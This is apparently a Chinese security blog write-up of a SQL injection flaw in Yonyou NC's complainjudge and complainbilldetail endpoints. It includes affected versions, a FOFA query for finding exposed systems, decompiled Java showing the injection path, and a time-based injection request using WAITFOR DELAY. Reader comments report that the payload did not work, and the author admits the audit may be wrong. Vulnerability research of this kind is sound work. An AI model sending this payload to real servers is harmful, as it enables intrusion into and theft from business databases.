用友NC complainjudge SQL注入漏洞


漏洞简介

用友NC系统可利用 /ebvp/advorappcoll/complainbilldetail 和 complainjudge 接口的pk_complaint参数实现sql注入,从而窃取服务器的敏感信息。

影响版本

NC633、NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

根据官方漏洞通告可知SQL注入点在 advorappcoll 下的complainbilldetail和complainjudge接口

因此直接搜索 advorappcoll 下的 complainbilldetail 或者 complainjudge 方法定义即可找到对应的实现逻辑

package nc.bs.ebvp.adviceorappeal;

import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.bs.ebvp.adviceorappeal.form.ComplFormVoUtils;
import nc.bs.ebvp.adviceorappeal.form.ComplaintForm;
import nc.bs.ebvp.adviceorappeal.form.QryConditionComplForm;
import nc.bs.ebvppub.ebvpservicefactory.NCLocatorFactory;
import nc.bs.ebvppub.pubcoll.DefaultEbvpPubController;
import nc.bs.ebvppub.tools.DefualtPageBarInfo;
import nc.bs.ebvppub.tools.LoginContext;
import nc.itf.ebvp.adviceorappeal.service.IAppealQueryService;
import nc.itf.ebvp.adviceorappeal.service.IAppealService;
import nc.vo.ebvp.adviceorappeal.pojo.AggComplaintPOJO;
import nc.vo.ebvp.adviceorappeal.pojo.ComplaintBasePagePOJO;
import nc.vo.ebvp.adviceorappeal.pojo.ComplaintPOJO;
import nc.vo.ebvp.adviceorappeal.pojo.ComplaintPortalReplyPOJO;
import nc.vo.ebvp.adviceorappeal.pojo.ComplaintTypeViewPOJO;
import nc.vo.ebvp.adviceorappeal.pojo.QryConditionComplPOJO;
import nc.vo.ecpubapp.pattern.data.DefaultPageInfo;
import nc.vo.ecpubapp.tools.ReturnObject;
import nc.vo.ml.NCLangRes4VoTransl;
import nc.vo.pub.BusinessException;
import nc.vo.pub.lang.UFDate;
import nc.vo.sm.UserVO;
import org.apache.commons.lang.StringUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class AppealrespController extends DefaultEbvpPubController {
    public AppealrespController() {
    }

    private IAppealService getAppealService() {
        return (IAppealService)NCLocatorFactory.getInstance().getEbvpNCLocator().lookup(IAppealService.class);
    }

    private IAppealQueryService getAppealQueryService() {
        return (IAppealQueryService)NCLocatorFactory.getInstance().getEbvpNCLocator().lookup(IAppealQueryService.class);
    }

@ResponseBody
@RequestMapping(
    value = {"/complainjudge"},
    method = {RequestMethod.POST}
)
public String complainjudge(HttpServletRequest request, HttpServletResponse response) throws Exception {
    String pk = request.getParameter("pk_complaint");
    Integer judgeNum = this.getAppealQueryService().judgeComplaintByPk(pk);
    return judgeNum == null ? "" : judgeNum.toString();
}

@RequestMapping(
    value = {"/complainbilldetail"},
    method = {RequestMethod.GET}
)
public String complaindetail(HttpServletRequest request, HttpServletResponse response) throws Exception {
    request.setAttribute("help_html", "TSXY.html");
    String pk = request.getParameter("pk_complaint");
    String qryorresp = request.getParameter("s");
    int cpltType = 0;
    String complainoradvis = request.getParameter("complainoradvis");
    String forWard = "purother/appealresp/appealdetail";
    AggComplaintPOJO aggComplaintPOJO = this.getAppealQueryService().queryComplaintVOByPk(pk, qryorresp);
    if (null != aggComplaintPOJO) {
        ComplaintPOJO complaintVO = (ComplaintPOJO)aggComplaintPOJO.getParentVO();
        cpltType = Integer.parseInt(complaintVO.getFcplttype());
    }

    if (0 == cpltType || 1 == cpltType) {
        int cpltTypeorlook = 0;
        if (null != complainoradvis) {
            cpltTypeorlook = Integer.parseInt(complainoradvis);
        }

        if (0 == cpltType) {
            request.setAttribute("help_html", "JYXY.html");
            if (0 == cpltTypeorlook) {
                forWard = "purother/adviceresp/advicedetail";
            } else {
                forWard = "purother/adviceresp/advicelook";
            }
        }

        if (1 == cpltType) {
            request.setAttribute("help_html", "TSXY.html");
            if (0 == cpltTypeorlook) {
                forWard = "purother/appealresp/appealdetail";
            } else {
                forWard = "purother/appealresp/appeallook";
            }
        }
    }

    if (null != aggComplaintPOJO) {
        this.aggappeal2Form(request, aggComplaintPOJO);
    }

    return forWard;
}

进入 getComplaintService().queryComplaintVOByPk 函数后再代入 queryComplaintVOByPk 函数查询

public AggComplaintVO queryComplaintVOByPk(String pk) throws BusinessException {
    if (null != pk && !pk.trim().equals("")) {
        BillQuery<AggComplaintVO> bQu = new BillQuery(AggComplaintVO.class);
        AggComplaintVO[] retVO = (AggComplaintVO[])bQu.query(new String[]{pk});
        return SRMBaseUtil.isArrayElementsNull(retVO) ? null : retVO[0];
    } else {
        return null;
    }
}

bQu.query 实现如下,主要是组装SQL语句

public E[] query(String[] keys) {
    if (keys.length == 0) {
        return (E[])(Constructor.construct(this.billClass, 0));
    } else {
        TimeLog.logStart();
        TableIDQueryCondition conditionBuilder = new TableIDQueryCondition(keys);
        TimeLog.info("构造查询条件");
        TimeLog.logStart();
        IVOMeta parent = this.billMeta.getParent();
        Class<? extends ISuperVO> parentClass = this.billMeta.getVOClass(parent);
        ISuperVO[] vos = this.query(parentClass, parent.getPrimaryAttribute(), conditionBuilder);
        this.composite.append(parent, vos);
        TimeLog.info("查询表头VO");
        TimeLog.logStart();
        this.queryChild(vos, conditionBuilder, parent.getPrimaryAttribute());
        TimeLog.info("查询表体VO");
        TimeLog.logStart();
        E[] bills = this.composite.composite();
        E[] returnbills = this.setLoadedFlag(keys, bills);
        TimeLog.info("组织为单据VO");
        return returnbills;
    }
}

最终直接也调用 executeQuery 执行上面组合后的SQL语句,造成SQL注入漏洞。

漏洞复现

漏洞利用只能是post,需要注意,可参考上面的漏洞分析部分。

POST /ebvp/advorappcoll/complainjudge HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: nc.mrxn.net

pageId=login&pk_complaint=1';WAITFOR DELAY'0:0:5'--

参考

  • https://security.yonyou.com/#/noticeInfo?id=585

手机扫码阅读

FastJson 畸形Unicode bypass waf、流量检测

锐捷-EWEB timeout.php 文件上传漏洞

评 论
avatar
qq
请问up,我在用pageId=login进行绕过的时候,系统会跳转到302
但是我用complainbilldetail;a.js?pk_complaint=1';WAITFOR DELAY '0:0:5'--
调试的时候,是能接收到complainbilldetail参数的,但是sql语句没起作用,并没有达到延时的效果。
5 个月前 回复
avatar
Mrxn
@qq:感谢反馈,你可以尝试跟换注入 后端数据库可能不是mssql。等我有时间了重新看下 不排除是错误审计。
5 个月前 回复